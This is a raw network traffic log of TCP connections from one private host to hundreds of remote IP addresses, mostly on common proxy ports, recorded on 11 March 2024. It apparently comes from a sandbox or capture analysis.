Mar 11, 2024 15:21:03.594176054 CET	51735	31654	192.168.2.9	98.162.25.4
Mar 11, 2024 15:21:03.594419956 CET	51736	999	192.168.2.9	157.100.63.69
Mar 11, 2024 15:21:03.594594002 CET	51722	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.594609976 CET	443	51722	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.594738960 CET	443	51722	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.594750881 CET	51737	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:03.595094919 CET	51015	18636	192.168.2.9	51.79.87.144
Mar 11, 2024 15:21:03.595649958 CET	1080	51017	64.124.145.1	192.168.2.9
Mar 11, 2024 15:21:03.595662117 CET	1080	50670	111.90.150.109	192.168.2.9
Mar 11, 2024 15:21:03.595757961 CET	51017	1080	192.168.2.9	64.124.145.1
Mar 11, 2024 15:21:03.596473932 CET	4145	50515	107.181.161.81	192.168.2.9
Mar 11, 2024 15:21:03.596487999 CET	80	51099	50.237.207.186	192.168.2.9
Mar 11, 2024 15:21:03.596771002 CET	51017	1080	192.168.2.9	64.124.145.1
Mar 11, 2024 15:21:03.597302914 CET	50941	1080	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:03.597497940 CET	4145	50907	24.249.199.12	192.168.2.9
Mar 11, 2024 15:21:03.597659111 CET	50907	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:03.597661972 CET	51738	1080	192.168.2.9	163.53.150.138
Mar 11, 2024 15:21:03.597672939 CET	16683	50320	72.10.160.94	192.168.2.9
Mar 11, 2024 15:21:03.598257065 CET	51739	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.598258018 CET	51740	7777	192.168.2.9	18.195.164.53
Mar 11, 2024 15:21:03.598280907 CET	443	51739	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.598469019 CET	50907	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:03.598556995 CET	51739	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.598912954 CET	24834	51036	107.180.88.41	192.168.2.9
Mar 11, 2024 15:21:03.599036932 CET	51739	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.599050999 CET	443	51739	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.599081993 CET	51036	24834	192.168.2.9	107.180.88.41
Mar 11, 2024 15:21:03.599116087 CET	443	51739	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.599283934 CET	51742	48606	192.168.2.9	68.71.249.153
Mar 11, 2024 15:21:03.599436998 CET	51036	24834	192.168.2.9	107.180.88.41
Mar 11, 2024 15:21:03.599589109 CET	51741	80	192.168.2.9	104.19.225.70
Mar 11, 2024 15:21:03.600435972 CET	80	51427	50.217.226.45	192.168.2.9
Mar 11, 2024 15:21:03.600897074 CET	8193	51302	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.601078033 CET	51302	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.601145029 CET	51302	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.601210117 CET	4145	51529	72.37.217.3	192.168.2.9
Mar 11, 2024 15:21:03.601608038 CET	51743	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.601632118 CET	443	51743	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.601712942 CET	51743	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.602152109 CET	51743	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.602163076 CET	51744	16379	192.168.2.9	51.15.223.24
Mar 11, 2024 15:21:03.602168083 CET	443	51743	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.602229118 CET	443	51743	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.602626085 CET	80	51419	104.25.234.81	192.168.2.9
Mar 11, 2024 15:21:03.602658987 CET	80	51419	104.25.234.81	192.168.2.9
Mar 11, 2024 15:21:03.602664948 CET	51745	8193	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.602871895 CET	8081	50688	154.72.90.74	192.168.2.9
Mar 11, 2024 15:21:03.602963924 CET	80	51419	104.25.234.81	192.168.2.9
Mar 11, 2024 15:21:03.603045940 CET	51419	80	192.168.2.9	104.25.234.81
Mar 11, 2024 15:21:03.603137016 CET	51419	80	192.168.2.9	104.25.234.81
Mar 11, 2024 15:21:03.603646994 CET	51746	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.603703022 CET	443	51746	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.603830099 CET	51746	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.604271889 CET	51746	443	192.168.2.9	93.190.24.119
Mar 11, 2024 15:21:03.604271889 CET	51747	8080	192.168.2.9	138.0.228.120
Mar 11, 2024 15:21:03.604293108 CET	443	51746	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.604327917 CET	443	51746	93.190.24.119	192.168.2.9
Mar 11, 2024 15:21:03.604357004 CET	51748	5566	192.168.2.9	162.55.87.48
Mar 11, 2024 15:21:03.605050087 CET	51749	8080	192.168.2.9	36.37.81.135
Mar 11, 2024 15:21:03.605050087 CET	51750	57327	192.168.2.9	207.180.198.241
Mar 11, 2024 15:21:03.605355978 CET	51751	80	192.168.2.9	104.16.108.42
Mar 11, 2024 15:21:03.605593920 CET	51752	47202	192.168.2.9	148.72.215.79
Mar 11, 2024 15:21:03.605643988 CET	51753	54395	192.168.2.9	51.79.87.144
Mar 11, 2024 15:21:03.606110096 CET	51754	4009	192.168.2.9	45.61.187.67
Mar 11, 2024 15:21:03.606241941 CET	51755	80	192.168.2.9	104.27.12.22
Mar 11, 2024 15:21:03.606251955 CET	51756	8080	192.168.2.9	61.129.2.212
Mar 11, 2024 15:21:03.606342077 CET	51317	49588	192.168.2.9	192.169.244.80
Mar 11, 2024 15:21:03.606344938 CET	49845	11691	192.168.2.9	72.10.160.90
Mar 11, 2024 15:21:03.606394053 CET	50767	4145	192.168.2.9	199.102.104.70
Mar 11, 2024 15:21:03.606395960 CET	51239	80	192.168.2.9	50.170.90.26
Mar 11, 2024 15:21:03.606436968 CET	80	50289	50.168.210.226	192.168.2.9
Mar 11, 2024 15:21:03.606471062 CET	50500	80	192.168.2.9	50.222.245.50
Mar 11, 2024 15:21:03.607520103 CET	51757	1080	192.168.2.9	5.9.251.161
Mar 11, 2024 15:21:03.607989073 CET	51759	8080	192.168.2.9	96.80.235.1
Mar 11, 2024 15:21:03.608038902 CET	8081	50012	117.160.250.163	192.168.2.9
Mar 11, 2024 15:21:03.608062983 CET	51758	2345	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.608490944 CET	51760	8080	192.168.2.9	103.156.140.237
Mar 11, 2024 15:21:03.608537912 CET	51761	50687	192.168.2.9	31.24.44.92
Mar 11, 2024 15:21:03.609008074 CET	10008	51443	147.75.92.244	192.168.2.9
Mar 11, 2024 15:21:03.609314919 CET	51762	999	192.168.2.9	190.211.5.232
Mar 11, 2024 15:21:03.609457970 CET	51443	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:03.609529972 CET	15673	51456	43.163.192.3	192.168.2.9
Mar 11, 2024 15:21:03.609847069 CET	51443	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:03.609956026 CET	51763	60279	192.168.2.9	169.255.136.8
Mar 11, 2024 15:21:03.609956980 CET	51456	15673	192.168.2.9	43.163.192.3
Mar 11, 2024 15:21:03.610183001 CET	51456	15673	192.168.2.9	43.163.192.3
Mar 11, 2024 15:21:03.610312939 CET	51764	9091	192.168.2.9	183.230.162.122
Mar 11, 2024 15:21:03.610552073 CET	51766	2453	192.168.2.9	166.62.38.100
Mar 11, 2024 15:21:03.610625982 CET	51765	80	192.168.2.9	153.19.91.77
Mar 11, 2024 15:21:03.611197948 CET	80	50084	20.205.61.143	192.168.2.9
Mar 11, 2024 15:21:03.611232042 CET	51767	8888	192.168.2.9	93.171.220.229
Mar 11, 2024 15:21:03.611448050 CET	51768	80	192.168.2.9	50.174.145.10
Mar 11, 2024 15:21:03.611557961 CET	51769	4153	192.168.2.9	177.91.76.34
Mar 11, 2024 15:21:03.611792088 CET	51770	2020	192.168.2.9	103.170.115.213
Mar 11, 2024 15:21:03.612078905 CET	51771	3128	192.168.2.9	165.22.96.68
Mar 11, 2024 15:21:03.612359047 CET	51772	44550	192.168.2.9	185.216.18.138
Mar 11, 2024 15:21:03.612885952 CET	51774	42571	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:03.612957954 CET	51773	43839	192.168.2.9	203.96.177.211
Mar 11, 2024 15:21:03.613825083 CET	80	51165	120.78.191.68	192.168.2.9
Mar 11, 2024 15:21:03.613986015 CET	51775	8080	192.168.2.9	102.68.128.212
Mar 11, 2024 15:21:03.614243031 CET	51776	37864	192.168.2.9	157.245.210.217
Mar 11, 2024 15:21:03.614267111 CET	80	50914	43.231.22.228	192.168.2.9
Mar 11, 2024 15:21:03.614710093 CET	31131	51512	198.12.253.117	192.168.2.9
Mar 11, 2024 15:21:03.614837885 CET	51777	8080	192.168.2.9	195.178.33.86
Mar 11, 2024 15:21:03.614856958 CET	51778	4145	192.168.2.9	91.192.25.158
Mar 11, 2024 15:21:03.615176916 CET	80	51321	94.130.94.45	192.168.2.9
Mar 11, 2024 15:21:03.615380049 CET	51321	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:03.615421057 CET	51779	2736	192.168.2.9	51.75.125.208
Mar 11, 2024 15:21:03.615456104 CET	51321	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:03.615525007 CET	51780	1555	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:03.616240025 CET	51781	80	192.168.2.9	94.130.94.45
Mar 11, 2024 15:21:03.616868973 CET	51783	8888	192.168.2.9	203.74.125.18
Mar 11, 2024 15:21:03.616981030 CET	51782	80	192.168.2.9	51.91.109.83
Mar 11, 2024 15:21:03.616991997 CET	51784	4480	192.168.2.9	136.233.80.157
Mar 11, 2024 15:21:03.617897034 CET	51785	8800	192.168.2.9	104.129.199.34
Mar 11, 2024 15:21:03.618073940 CET	51786	26589	192.168.2.9	157.185.160.74
Mar 11, 2024 15:21:03.618077040 CET	51787	13916	192.168.2.9	67.213.212.47
Mar 11, 2024 15:21:03.618227005 CET	32842	50723	212.83.143.97	192.168.2.9
Mar 11, 2024 15:21:03.618241072 CET	8080	51254	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:03.618340969 CET	51254	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:03.618891954 CET	51788	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:03.618896008 CET	51254	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:03.618922949 CET	14455	51485	192.252.209.155	192.168.2.9
Mar 11, 2024 15:21:03.619251966 CET	51790	3128	192.168.2.9	185.174.137.30
Mar 11, 2024 15:21:03.619252920 CET	51485	14455	192.168.2.9	192.252.209.155
Mar 11, 2024 15:21:03.619252920 CET	51789	80	192.168.2.9	13.229.47.109
Mar 11, 2024 15:21:03.619252920 CET	51485	14455	192.168.2.9	192.252.209.155
Mar 11, 2024 15:21:03.619651079 CET	51791	8118	192.168.2.9	144.76.42.215
Mar 11, 2024 15:21:03.620134115 CET	80	50872	89.36.114.38	192.168.2.9
Mar 11, 2024 15:21:03.620193005 CET	51792	5678	192.168.2.9	41.70.106.1
Mar 11, 2024 15:21:03.620309114 CET	50872	80	192.168.2.9	89.36.114.38
Mar 11, 2024 15:21:03.620686054 CET	50872	80	192.168.2.9	89.36.114.38
Mar 11, 2024 15:21:03.620934963 CET	51793	5678	192.168.2.9	79.7.101.98
Mar 11, 2024 15:21:03.621144056 CET	54321	51322	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:03.621296883 CET	51794	3128	192.168.2.9	138.68.236.23
Mar 11, 2024 15:21:03.621484041 CET	51795	80	192.168.2.9	203.222.24.36
Mar 11, 2024 15:21:03.621957064 CET	51796	8080	192.168.2.9	159.89.113.155
Mar 11, 2024 15:21:03.621961117 CET	54321	51322	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:03.621974945 CET	50373	19001	192.168.2.9	8.210.208.148
Mar 11, 2024 15:21:03.621994019 CET	49853	13351	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.622004032 CET	51284	4145	192.168.2.9	192.111.134.10
Mar 11, 2024 15:21:03.622104883 CET	51322	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:03.622104883 CET	51322	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:03.623240948 CET	51797	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:03.623245955 CET	51799	56067	192.168.2.9	185.109.184.150
Mar 11, 2024 15:21:03.623378992 CET	8080	51273	91.202.230.219	192.168.2.9
Mar 11, 2024 15:21:03.623452902 CET	51798	13675	192.168.2.9	213.136.79.177
Mar 11, 2024 15:21:03.623608112 CET	51273	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:03.623891115 CET	80	51235	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:03.623925924 CET	51273	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:03.624242067 CET	51235	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:03.624270916 CET	51800	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:03.624599934 CET	51801	80	192.168.2.9	104.20.75.132
Mar 11, 2024 15:21:03.624686003 CET	3128	50523	18.134.236.231	192.168.2.9
Mar 11, 2024 15:21:03.624819040 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:03.624943972 CET	80	51438	218.252.244.126	192.168.2.9
Mar 11, 2024 15:21:03.625039101 CET	51438	80	192.168.2.9	218.252.244.126
Mar 11, 2024 15:21:03.625278950 CET	51803	59362	192.168.2.9	45.251.231.213
Mar 11, 2024 15:21:03.626462936 CET	10000	51210	147.75.34.86	192.168.2.9
Mar 11, 2024 15:21:03.626584053 CET	51802	8080	192.168.2.9	203.150.172.151
Mar 11, 2024 15:21:03.626863003 CET	8080	50999	89.42.166.163	192.168.2.9
Mar 11, 2024 15:21:03.628158092 CET	8000	51041	198.199.120.65	192.168.2.9
Mar 11, 2024 15:21:03.628288984 CET	24809	50352	72.10.160.90	192.168.2.9
Mar 11, 2024 15:21:03.628356934 CET	10713	50362	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.628372908 CET	11679	49775	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:03.628588915 CET	15673	51296	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:03.628942013 CET	5385	49772	72.10.160.170	192.168.2.9
Mar 11, 2024 15:21:03.628956079 CET	46249	50103	167.172.109.12	192.168.2.9
Mar 11, 2024 15:21:03.629023075 CET	1080	49911	168.138.162.66	192.168.2.9
Mar 11, 2024 15:21:03.629221916 CET	24863	51178	67.43.236.19	192.168.2.9
Mar 11, 2024 15:21:03.629681110 CET	2509	50369	67.43.228.250	192.168.2.9
Mar 11, 2024 15:21:03.629698038 CET	9002	50275	111.59.4.88	192.168.2.9
Mar 11, 2024 15:21:03.629710913 CET	10007	51209	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.630588055 CET	80	51463	50.174.145.15	192.168.2.9
Mar 11, 2024 15:21:03.630601883 CET	15673	51328	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:03.630789042 CET	15673	51296	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:03.632349014 CET	80	51321	94.130.94.45	192.168.2.9
Mar 11, 2024 15:21:03.634213924 CET	15673	51328	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:03.635848999 CET	8800	51146	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:03.636773109 CET	80	50884	3.127.62.252	192.168.2.9
Mar 11, 2024 15:21:03.636961937 CET	8080	50714	114.132.202.78	192.168.2.9
Mar 11, 2024 15:21:03.636976004 CET	80	50295	50.168.210.232	192.168.2.9
Mar 11, 2024 15:21:03.637484074 CET	8193	51302	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.637631893 CET	50803	8080	192.168.2.9	5.78.44.6
Mar 11, 2024 15:21:03.637631893 CET	50657	29915	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.637645006 CET	50248	3129	192.168.2.9	20.219.235.172
Mar 11, 2024 15:21:03.637648106 CET	50341	4145	192.168.2.9	119.18.152.139
Mar 11, 2024 15:21:03.637651920 CET	50386	5678	192.168.2.9	113.160.227.166
Mar 11, 2024 15:21:03.637651920 CET	49950	51535	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:03.637672901 CET	50371	33427	192.168.2.9	91.135.80.66
Mar 11, 2024 15:21:03.637672901 CET	49838	80	192.168.2.9	50.168.163.182
Mar 11, 2024 15:21:03.637676954 CET	49859	9375	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:03.637676954 CET	51173	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:03.638040066 CET	10011	51052	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:03.638529062 CET	80	49748	52.67.10.183	192.168.2.9
Mar 11, 2024 15:21:03.638544083 CET	15280	51537	184.178.172.18	192.168.2.9
Mar 11, 2024 15:21:03.638619900 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:03.638757944 CET	80	51440	104.16.81.76	192.168.2.9
Mar 11, 2024 15:21:03.638945103 CET	80	51440	104.16.81.76	192.168.2.9
Mar 11, 2024 15:21:03.638957977 CET	15673	51306	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:03.639415979 CET	80	51374	133.18.234.13	192.168.2.9
Mar 11, 2024 15:21:03.639528990 CET	80	51440	104.16.81.76	192.168.2.9
Mar 11, 2024 15:21:03.639585972 CET	80	51250	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:03.639612913 CET	51440	80	192.168.2.9	104.16.81.76
Mar 11, 2024 15:21:03.641294003 CET	80	50540	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:03.641303062 CET	51250	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:03.641308069 CET	3128	50763	103.182.112.11	192.168.2.9
Mar 11, 2024 15:21:03.641422987 CET	50763	3128	192.168.2.9	103.182.112.11
Mar 11, 2024 15:21:03.641985893 CET	15673	51306	47.242.15.120	192.168.2.9
Mar 11, 2024 15:21:03.642303944 CET	80	51571	172.67.181.144	192.168.2.9
Mar 11, 2024 15:21:03.642352104 CET	3128	51181	3.37.125.76	192.168.2.9
Mar 11, 2024 15:21:03.642364979 CET	4145	51495	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:03.642391920 CET	51571	80	192.168.2.9	172.67.181.144
Mar 11, 2024 15:21:03.642462015 CET	51495	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:03.644568920 CET	1088	51431	46.227.38.1	192.168.2.9
Mar 11, 2024 15:21:03.644766092 CET	51804	9812	192.168.2.9	91.106.65.107
Mar 11, 2024 15:21:03.645515919 CET	4153	50806	185.32.44.1	192.168.2.9
Mar 11, 2024 15:21:03.645529985 CET	80	51574	45.12.31.3	192.168.2.9
Mar 11, 2024 15:21:03.645539999 CET	1088	51081	46.227.37.21	192.168.2.9
Mar 11, 2024 15:21:03.645580053 CET	51805	4145	192.168.2.9	174.77.111.197
Mar 11, 2024 15:21:03.645622969 CET	51574	80	192.168.2.9	45.12.31.3
Mar 11, 2024 15:21:03.645639896 CET	50806	4153	192.168.2.9	185.32.44.1
Mar 11, 2024 15:21:03.645874023 CET	51438	80	192.168.2.9	218.252.244.126
Mar 11, 2024 15:21:03.646569014 CET	80	51454	104.20.179.187	192.168.2.9
Mar 11, 2024 15:21:03.646706104 CET	80	51454	104.20.179.187	192.168.2.9
Mar 11, 2024 15:21:03.646744967 CET	51806	80	192.168.2.9	115.89.203.59
Mar 11, 2024 15:21:03.646893024 CET	80	51454	104.20.179.187	192.168.2.9
Mar 11, 2024 15:21:03.646929979 CET	51440	80	192.168.2.9	104.16.81.76
Mar 11, 2024 15:21:03.647068977 CET	51454	80	192.168.2.9	104.20.179.187
Mar 11, 2024 15:21:03.647078991 CET	80	50501	50.200.12.87	192.168.2.9
Mar 11, 2024 15:21:03.647126913 CET	51250	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:03.647135019 CET	80	51455	104.16.226.6	192.168.2.9
Mar 11, 2024 15:21:03.647181034 CET	80	51455	104.16.226.6	192.168.2.9
Mar 11, 2024 15:21:03.647413015 CET	80	51455	104.16.226.6	192.168.2.9
Mar 11, 2024 15:21:03.647883892 CET	50763	3128	192.168.2.9	103.182.112.11
Mar 11, 2024 15:21:03.647897005 CET	51807	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:03.647953033 CET	51455	80	192.168.2.9	104.16.226.6
Mar 11, 2024 15:21:03.648494959 CET	51495	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:03.648551941 CET	51571	80	192.168.2.9	172.67.181.144
Mar 11, 2024 15:21:03.648736000 CET	51808	80	192.168.2.9	104.21.80.83
Mar 11, 2024 15:21:03.648921967 CET	50806	4153	192.168.2.9	185.32.44.1
Mar 11, 2024 15:21:03.648989916 CET	51809	15673	192.168.2.9	47.242.15.120
Mar 11, 2024 15:21:03.649692059 CET	51574	80	192.168.2.9	45.12.31.3
Mar 11, 2024 15:21:03.650844097 CET	51454	80	192.168.2.9	104.20.179.187
Mar 11, 2024 15:21:03.650916100 CET	51455	80	192.168.2.9	104.16.226.6
Mar 11, 2024 15:21:03.651460886 CET	80	50212	50.173.140.145	192.168.2.9
Mar 11, 2024 15:21:03.653230906 CET	50809	8080	192.168.2.9	5.78.89.192
Mar 11, 2024 15:21:03.653232098 CET	51090	29631	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:03.653234005 CET	50550	80	192.168.2.9	50.218.57.66
Mar 11, 2024 15:21:03.653242111 CET	50691	47935	192.168.2.9	104.36.166.34
Mar 11, 2024 15:21:03.653244972 CET	50411	5678	192.168.2.9	80.90.83.191
Mar 11, 2024 15:21:03.653374910 CET	4153	51265	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:03.653408051 CET	51052	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:03.653518915 CET	15303	51549	184.178.172.5	192.168.2.9
Mar 11, 2024 15:21:03.653527975 CET	50884	80	192.168.2.9	3.127.62.252
Mar 11, 2024 15:21:03.653604984 CET	4153	51265	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:03.654310942 CET	80	51533	74.103.66.15	192.168.2.9
Mar 11, 2024 15:21:03.654421091 CET	51533	80	192.168.2.9	74.103.66.15
Mar 11, 2024 15:21:03.654597998 CET	51265	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:03.654597998 CET	51265	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:03.654864073 CET	51181	3128	192.168.2.9	3.37.125.76
Mar 11, 2024 15:21:03.655488014 CET	51533	80	192.168.2.9	74.103.66.15
Mar 11, 2024 15:21:03.655529976 CET	51810	13537	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:03.655694962 CET	51811	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:03.656028986 CET	51812	1080	192.168.2.9	171.247.241.226
Mar 11, 2024 15:21:03.656055927 CET	3128	49920	77.77.64.116	192.168.2.9
Mar 11, 2024 15:21:03.656224012 CET	51813	999	192.168.2.9	38.7.4.89
Mar 11, 2024 15:21:03.656419039 CET	51814	5678	192.168.2.9	186.10.102.218
Mar 11, 2024 15:21:03.656426907 CET	51815	3128	192.168.2.9	178.158.166.161
Mar 11, 2024 15:21:03.656543016 CET	51816	7830	192.168.2.9	148.66.130.53
Mar 11, 2024 15:21:03.656693935 CET	51817	80	192.168.2.9	102.0.0.118
Mar 11, 2024 15:21:03.656773090 CET	51818	8080	192.168.2.9	188.94.225.13
Mar 11, 2024 15:21:03.656939030 CET	51820	3128	192.168.2.9	196.202.40.17
Mar 11, 2024 15:21:03.656944990 CET	51819	4145	192.168.2.9	68.71.254.6
Mar 11, 2024 15:21:03.657567024 CET	51822	16379	192.168.2.9	163.172.153.194
Mar 11, 2024 15:21:03.657639027 CET	51824	64873	192.168.2.9	173.249.33.122
Mar 11, 2024 15:21:03.657692909 CET	51821	62578	192.168.2.9	107.180.88.41
Mar 11, 2024 15:21:03.657692909 CET	51823	26042	192.168.2.9	165.227.104.122
Mar 11, 2024 15:21:03.658148050 CET	51825	3128	192.168.2.9	31.214.171.62
Mar 11, 2024 15:21:03.658330917 CET	51826	999	192.168.2.9	177.234.194.154
Mar 11, 2024 15:21:03.658476114 CET	1080	51171	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:03.658729076 CET	51827	4145	192.168.2.9	185.169.181.26
Mar 11, 2024 15:21:03.658958912 CET	51828	80	192.168.2.9	115.244.127.161
Mar 11, 2024 15:21:03.659183025 CET	51829	1080	192.168.2.9	42.194.203.23
Mar 11, 2024 15:21:03.659400940 CET	51830	80	192.168.2.9	50.217.29.198
Mar 11, 2024 15:21:03.659476042 CET	80	51493	50.172.39.98	192.168.2.9
Mar 11, 2024 15:21:03.660248041 CET	51831	80	192.168.2.9	50.170.152.187
Mar 11, 2024 15:21:03.660327911 CET	51832	1981	192.168.2.9	41.65.227.98
Mar 11, 2024 15:21:03.660954952 CET	1080	51445	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:03.660994053 CET	51833	8080	192.168.2.9	103.54.43.131
Mar 11, 2024 15:21:03.661096096 CET	80	50165	35.209.198.222	192.168.2.9
Mar 11, 2024 15:21:03.661150932 CET	3629	51032	92.38.45.72	192.168.2.9
Mar 11, 2024 15:21:03.661299944 CET	51445	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:03.661334038 CET	51445	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:03.661344051 CET	51834	8080	192.168.2.9	200.114.84.190
Mar 11, 2024 15:21:03.661820889 CET	51835	7579	192.168.2.9	178.33.163.156
Mar 11, 2024 15:21:03.662437916 CET	51836	3128	192.168.2.9	103.69.87.142
Mar 11, 2024 15:21:03.662713051 CET	51837	4153	192.168.2.9	180.191.22.50
Mar 11, 2024 15:21:03.663122892 CET	51838	80	192.168.2.9	50.168.72.116
Mar 11, 2024 15:21:03.663124084 CET	51839	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.663144112 CET	443	51839	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.663693905 CET	51839	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.663693905 CET	51841	80	192.168.2.9	137.184.100.135
Mar 11, 2024 15:21:03.663988113 CET	51840	5678	192.168.2.9	14.207.206.27
Mar 11, 2024 15:21:03.664078951 CET	51839	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.664096117 CET	443	51839	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.664165020 CET	443	51839	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.664462090 CET	51842	41146	192.168.2.9	135.148.10.161
Mar 11, 2024 15:21:03.664483070 CET	80	50391	41.207.187.178	192.168.2.9
Mar 11, 2024 15:21:03.664995909 CET	51843	15713	192.168.2.9	51.15.201.113
Mar 11, 2024 15:21:03.665494919 CET	8080	50137	49.13.124.150	192.168.2.9
Mar 11, 2024 15:21:03.666182995 CET	51844	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.666186094 CET	51845	80	192.168.2.9	116.203.49.36
Mar 11, 2024 15:21:03.666224003 CET	443	51844	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.666436911 CET	51844	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.666438103 CET	51846	4145	192.168.2.9	78.133.163.190
Mar 11, 2024 15:21:03.666487932 CET	51844	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.666487932 CET	51847	5717	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:03.666510105 CET	443	51844	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.666555882 CET	443	51844	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.667332888 CET	3128	50124	144.91.106.93	192.168.2.9
Mar 11, 2024 15:21:03.668082952 CET	51848	8080	192.168.2.9	181.212.45.226
Mar 11, 2024 15:21:03.668368101 CET	51849	8080	192.168.2.9	103.245.109.172
Mar 11, 2024 15:21:03.668648005 CET	51850	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.668647051 CET	51851	3629	192.168.2.9	190.3.72.39
Mar 11, 2024 15:21:03.668668985 CET	443	51850	140.84.176.246	192.168.2.9
Mar 11, 2024 15:21:03.668833971 CET	50699	10235	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.668833971 CET	50617	80	192.168.2.9	20.210.113.32
Mar 11, 2024 15:21:03.668845892 CET	51850	443	192.168.2.9	140.84.176.246
Mar 11, 2024 15:21:03.668845892 CET	50549	80	192.168.2.9	50.174.7.157
Mar 11, 2024 15:21:03.668847084 CET	51185	4153	192.168.2.9	45.233.3.1
Mar 11, 2024 15:21:03.668869972 CET	51195	62916	192.168.2.9	51.222.241.8
Mar 11, 2024 15:21:03.668874025 CET	50336	4153	192.168.2.9	45.226.48.6
Mar 11, 2024 15:21:03.668874025 CET	50508	19001	192.168.2.9	8.210.8.157
Mar 11, 2024 15:21:03.668875933 CET	51251	80	192.168.2.9	50.169.37.50
Mar 11, 2024 15:21:03.668875933 CET	51184	3129	192.168.2.9	20.219.177.38
